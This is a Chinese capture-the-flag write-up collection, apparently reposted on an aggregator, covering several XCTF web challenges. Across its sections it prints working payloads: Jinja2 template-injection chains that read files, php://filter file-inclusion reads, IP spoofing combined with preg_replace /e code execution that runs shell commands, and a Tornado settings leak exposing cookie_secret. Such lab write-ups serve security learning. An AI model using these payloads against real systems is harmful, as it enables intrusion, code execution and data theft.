概述
一、xctf-Confusion1
尝试SSTI(服务器模板注入)漏洞
构造payload,{{7*7}}}
然后继续构造{{7*'7'}}}
发现是Jinja2或Twig模板(我也不清楚)
使用的payload,使用的payload,{{’’. __ class __ . __ mro __ [2]. __ subclasses __()}};
发现有弹窗,所以是过滤了采用{{url_for.__ globals __}}
接下来使用{{''[request.args.a]}}?a=__ class __发现有绕回
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read 这里的flag是之前的longin页面和register页面
二、easyphp
intval() 函数用于获取变量的整数值。 intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
{"name": "string","age":22}
这里要进行代码审计,
看一下第一个语句
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){ if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ $key1 = 1; }else{ die("Emmm...再想想"); } }else{ die("Emmm..."); }
isset()
三、题目名称-文件包含
实现文件包含功能的函数:include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
php的文件包含漏洞,一般用到如下各种伪协议
file:// 访问本地文件系统 http:// 访问http(s)网址 ftp:// 访问ftp php:// 访问各个输入/输出流 zlib:// 压缩流 data:// 数据 rar:// RAR压缩包 ogg:// 音频流
convert.iconv.[]过滤器绕过,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用) UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
这里我们尝试构造payload
?filename=php://filter//convert.iconv.UCS-4*/resource=/var/www/html/flag.php
结果发现没有变化,如果使用其他编码则显示报错,接下来我看wp是结合其他编码进行绕过
拓展一下
ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。 #php://filter/string.rot13/resource=flag.php string.toupper将字符串转化为大写 #php://filter/string.toupper/resource=flag.php string.toupper 将字符串转化为小写 #php://filter/string.tolower/resource=flag.php string.strip_tags从字符串中去除 HTML和PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。 #php://filter/string.strip_tags/resource=flag.php
Conversion Filters(转换过滤器) Conversion Filters(转换过滤器)如同 string. 过滤器,convert. 过滤器的作用就和其名字一样。 convert.base64-encode & convert.base64-decode #php://filter/convert.base64-encode/resource=flag.php convert.quoted-printable-encode & convert.quoted-printable-decode #php://filter/convert.quoted-printable-encode/resource=flag.php
压缩过滤器
zlib.deflate(压缩) php://filter/zlib.deflate/resource=flag.php zlib.inflate(解压) php://filter/zlib.deflate|zlib.inflate/resource=flag.php
绕过exit()函数,exit是终结程序的
php://filter/string.rot13/resource=文件名
四、lottery
1、存储和取回session变量的正确方法是使用PHP $_SESSION变量,需要查看关键函数,这里没有对传入的参数进行限制,而且这里没有使用强等于“===”,而是使用弱等于
===比较两个变量的值和类型;==比较两个变量的值,不比较数据类型。 在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool。 在PHP中当转换为 boolean 时,以下值被认为是 FALSE : (1) 布尔值 FALSE 本身 (2) 整型值 0(零) (3)浮点型值 0.0(零) (4)空字符串,以及字符串 “0” (5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true) (6)不包括任何成员变量的对象(仅 PHP 4.0 适用) (7)特殊类型 NULL(包括尚未赋值的变量) (8)从空标记生成的 SimpleXML 对象 (9)所有其它值包括-1都被认为是 TRUE (包括任何资源)
先进行抓包,然后查看到一个post请求,api.php,题目里面有附件,可以下载看一下源代码,放到重发器里面,然后就更改数字为[true,true,true,true,true,true,true],等金钱攒够了就可以购买flag了
五、ics-05
点击之后查看网页源代码,发现有个a href = "?page=index" 通过这里可以知道注入的方式位
?page=XXX,所以我们可以尝试对其进行内容注入/index.php?page={{23}},发现没有反映,说明没有文件包含漏洞,所以我们可以通过php伪协议来进行注入,输入?page=php://filter/read=convert.base64-encode/resource=index.php,注入之后发现一段base64的编码,对其进行解密之后可以分析php代码
<?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { <br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"><?php echo $page; die();?></p> <br /><br /><br /><br /> }else{ ?> <br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> }} if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>
这里主要关注isset()函数和strpos()这两个函数
isset() 函数用于检测变量是否已设置并且非 NULL。 ctype_alnum()函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否包含字母数字字符。 strpos() 函数查找字符串在另一字符串中第一次出现的位置。
进行代码审计之后发现说明要想执行else,则输入的page中不能存在input、ta:text、text这些值。
继续审查代码,发现该网页还有另外一种登录方式,既可以通过本地ip登录,只需要把本地ip伪造成127.0.0.1即可。
这里可以通过插件或者X-Forwarded-For进行伪造IP,然后进行访问。
然后这里通过preg_replace函数漏洞进行攻击,我不知道这里是怎么想到的,哎,只能说我是个小废物。然后在这里构造payload ?pat=/heihei/e&rep=system(%22pwd%22)&sub=heihei
然后放包之后显示 Welcome My Admin ! /var/www/html
然后这里显示路径,对目录路径下进行遍历文件,构造?pat=/heihei/e&rep=system("ls /var/www/html ")&sub=heihei,这样文件都显示出来了
Welcome My Admin ! css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png
接下来对文件进行审核,发现s3chahahaDir这个比较可疑,我觉得没啥可不可疑,基本都是一个一个试
发现这里有个flag文件,接下来就继续读取flag文件就出来了。构造payload,
?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir/flag")&sub=heihei,构造之后显示如下
Welcome My Admin ! flag.php
继续构造?pat=/heihei/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=heihei
结构发现啥也没显示Welcome My Admin !
我找了半天,发现其他文件下没啥,我尝试查看源代码
<!--?php
$flag = 'cyberpeace{d5b20cb9b64a1397d3ba1e5c65422a53}';
?-->
六、XCTF中easytornado(框架)
一、这里用Tornado框架漏洞
一个一个点开看,发现在/hints.txt下面有个md5
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用,Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。 在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
构造payload为error?msg=Error,这里可以看到注入点就是msg,然后对msg进行注入error?msg={{1*1}}发现有回显,然后继续构造payload为error?msg={{handler.settings}}通过这个获取cookie_secret,然后把cookie_secret放到脚本进行解密,将解密完之后的数据放进payload里面进行构造
file?filename=/fllllllllllllag&filehash=ae7549fbc91a9b4aee8510591c010cac
最后
以上就是开心水蜜桃为你收集整理的XCTF相关题解Confusion1,easyphp文件包含,lottery,ics-05,easytornado(框架)一、xctf-Confusion1的全部内容,希望文章能够帮你解决XCTF相关题解Confusion1,easyphp文件包含,lottery,ics-05,easytornado(框架)一、xctf-Confusion1所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复